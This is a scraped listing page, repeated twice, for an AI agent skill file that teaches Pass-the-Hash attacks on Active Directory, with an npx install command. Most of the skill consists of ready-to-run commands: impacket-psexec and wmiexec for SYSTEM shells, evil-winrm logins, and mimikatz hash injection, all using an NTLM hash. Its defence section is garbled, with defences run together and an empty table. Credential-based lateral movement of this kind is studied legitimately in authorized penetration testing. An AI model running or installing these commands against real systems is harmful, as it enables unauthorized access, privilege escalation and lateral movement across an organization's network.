ad-pass-the-hash

Name: ad-pass-the-hash
Author: ShulkwiSEC

18stars5forks

How to install ad-pass-the-hash?

shulkwisec/bb-huge/ad-pass-the-hash

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-pass-the-hash

Installs into the current project.

Summary

Exploit Active Directory environments using Pass-the-Hash (PtH). This skill details how to authenticate to remote systems using the NTLM hash of a user's password instead of the plaintext password, enabling lateral movement and privilege escalation without cracking hashes.

Files · 1

View on GitHub

SKILL.md

1	# Pass-the-Hash (PtH)
2
3	## When to Use
4	- When you have successfully dumped credentials (e.g., from SAM, LSASS, or NTDS.dit) and acquired the NTLM hash of a target user, but the hash resists cracking efforts.
5	- To perform lateral movement to other machines where the compromised user has administrative access.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Acquiring the NTLM Hash
17
18	Hashes are typically formatted as `LM_HASH:NTLM_HASH`.
19	Example: `aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29`
20	(Note: Active Directory no longer stores the LM hash by default, so it's usually the blank `aad3...04ee` value, but the NTLM portion is what matters).
21
22	### Phase 2: Execution via Impacket (Linux/Mac)
23
24	Impacket provides multiple tools that support the `-hashes` flag to interact with Windows protocols (SMB, WMI, RPC) via PtH.
25
26	```bash
27	# Concept: Gain an interactive SYSTEM shell over SMB impacket-psexec Administrator@192.168.1.50 -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29
28
29	# Gain a semi-interactive shell over WMI (stealthier) impacket-wmiexec target.local/Administrator@192.168.1.50 -hashes :88e4d9fabaecf3dec18dd80905521b29
30	```
31
32	### Phase 3: Execution via Evil-WinRM
33
34	If WinRM (Port 5985) is enabled on the target, Evil-WinRM provides a highly stable PowerShell session.
35
36	```bash
37	# evil-winrm -i 192.168.1.50 -u Administrator -H 88e4d9fabaecf3dec18dd80905521b29
38	```
39
40	### Phase 4: Execution via Mimikatz (Windows)
41
42	If you are operating directly from a compromised Windows machine, you can inject the hash into memory to spawn a process under the context of the target user.
43
44	```cmd
45	# mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:target.local /ntlm:88e4d9fabaecf3dec18dd80905521b29 /run:cmd.exe" "exit"
46	```
47	A new command prompt will open running as the user, allowing access to network shares and execution across the domain.
48
49	#### Decision Point 🔀
50	```mermaid
51	flowchart TD
52	A[Obtain NTLM Hash ] --> B{Target Service Open? ]}
53	B -->\|SMB (445)\| C[Impacket PsExec/SMBExec ]
54	B -->\|WMI (135/...)\| D[Impacket WMIexec ]
55	B -->\|WinRM (5985)\| E[Evil-WinRM ]
56	C & D & E --> F[Authenticated Remote Execution ]
57	```
58
59	## 🔵 Blue Team Detection & Defense
60	- LAPS (Local Administrator Password Solution): Disable NTLM Authentication: Windows Defender Credential Guard: Key Concepts
61	\| Concept \| Description \|
62	\|---------\|-------------\|
63	## Output Format
64	```
65	Ad Pass The Hash — Assessment Report
66	============================================================
67	Target: [Target identifier]
68	Assessor: [Operator name]
69	Date: [Assessment date]
70	Scope: [Authorized scope]
71	MITRE ATT&CK: [Relevant technique IDs]
72
73	Findings Summary:
74	[Finding 1]: [Severity] — [Brief description]
75	[Finding 2]: [Severity] — [Brief description]
76
77	Detailed Results:
78	Phase 1: [Phase name]
79	- Result: [Outcome]
80	- Evidence: [Screenshot/log reference]
81	- Impact: [Business impact assessment]
82
83	Phase 2: [Phase name]
84	- Result: [Outcome]
85	- Evidence: [Screenshot/log reference]
86	- Impact: [Business impact assessment]
87
88	Risk Rating: [Critical/High/Medium/Low/Informational]
89	Recommendations:
90	1. [Immediate remediation step]
91	2. [Long-term hardening measure]
92	3. [Monitoring/detection improvement]
93	```
94
95
96	## 📚 Shared Resources
97	> For cross-cutting methodology applicable to all vulnerability classes, see:
98	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
99	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
100	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
101
102	## References
103	- Mitre ATT&CK: [Pass the Hash](https://attack.mitre.org/techniques/T1550/002/

People who liked this also viewed

6 picks

Type

ad-pass-the-hash

18stars5forks

View on GitHub

How to install ad-pass-the-hash?

shulkwisec/bb-huge/ad-pass-the-hash

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-pass-the-hash

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Pass-the-Hash (PtH)
2
3	## When to Use
4	- When you have successfully dumped credentials (e.g., from SAM, LSASS, or NTDS.dit) and acquired the NTLM hash of a target user, but the hash resists cracking efforts.
5	- To perform lateral movement to other machines where the compromised user has administrative access.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Acquiring the NTLM Hash
17
18	Hashes are typically formatted as `LM_HASH:NTLM_HASH`.
19	Example: `aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29`
20	(Note: Active Directory no longer stores the LM hash by default, so it's usually the blank `aad3...04ee` value, but the NTLM portion is what matters).
21
22	### Phase 2: Execution via Impacket (Linux/Mac)
23
24	Impacket provides multiple tools that support the `-hashes` flag to interact with Windows protocols (SMB, WMI, RPC) via PtH.
25
26	```bash
27	# Concept: Gain an interactive SYSTEM shell over SMB impacket-psexec Administrator@192.168.1.50 -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29
28
29	# Gain a semi-interactive shell over WMI (stealthier) impacket-wmiexec target.local/Administrator@192.168.1.50 -hashes :88e4d9fabaecf3dec18dd80905521b29
30	```
31
32	### Phase 3: Execution via Evil-WinRM
33
34	If WinRM (Port 5985) is enabled on the target, Evil-WinRM provides a highly stable PowerShell session.
35
36	```bash
37	# evil-winrm -i 192.168.1.50 -u Administrator -H 88e4d9fabaecf3dec18dd80905521b29
38	```
39
40	### Phase 4: Execution via Mimikatz (Windows)
41
42	If you are operating directly from a compromised Windows machine, you can inject the hash into memory to spawn a process under the context of the target user.
43
44	```cmd
45	# mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:target.local /ntlm:88e4d9fabaecf3dec18dd80905521b29 /run:cmd.exe" "exit"
46	```
47	A new command prompt will open running as the user, allowing access to network shares and execution across the domain.
48
49	#### Decision Point 🔀
50	```mermaid
51	flowchart TD
52	A[Obtain NTLM Hash ] --> B{Target Service Open? ]}
53	B -->\|SMB (445)\| C[Impacket PsExec/SMBExec ]
54	B -->\|WMI (135/...)\| D[Impacket WMIexec ]
55	B -->\|WinRM (5985)\| E[Evil-WinRM ]
56	C & D & E --> F[Authenticated Remote Execution ]
57	```
58
59	## 🔵 Blue Team Detection & Defense
60	- LAPS (Local Administrator Password Solution): Disable NTLM Authentication: Windows Defender Credential Guard: Key Concepts
61	\| Concept \| Description \|
62	\|---------\|-------------\|
63	## Output Format
64	```
65	Ad Pass The Hash — Assessment Report
66	============================================================
67	Target: [Target identifier]
68	Assessor: [Operator name]
69	Date: [Assessment date]
70	Scope: [Authorized scope]
71	MITRE ATT&CK: [Relevant technique IDs]
72
73	Findings Summary:
74	[Finding 1]: [Severity] — [Brief description]
75	[Finding 2]: [Severity] — [Brief description]
76
77	Detailed Results:
78	Phase 1: [Phase name]
79	- Result: [Outcome]
80	- Evidence: [Screenshot/log reference]
81	- Impact: [Business impact assessment]
82
83	Phase 2: [Phase name]
84	- Result: [Outcome]
85	- Evidence: [Screenshot/log reference]
86	- Impact: [Business impact assessment]
87
88	Risk Rating: [Critical/High/Medium/Low/Informational]
89	Recommendations:
90	1. [Immediate remediation step]
91	2. [Long-term hardening measure]
92	3. [Monitoring/detection improvement]
93	```
94
95
96	## 📚 Shared Resources
97	> For cross-cutting methodology applicable to all vulnerability classes, see:
98	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
99	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
100	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
101
102	## References
103	- Mitre ATT&CK: [Pass the Hash](https://attack.mitre.org/techniques/T1550/002/

People who liked this also viewed

6 picks

Type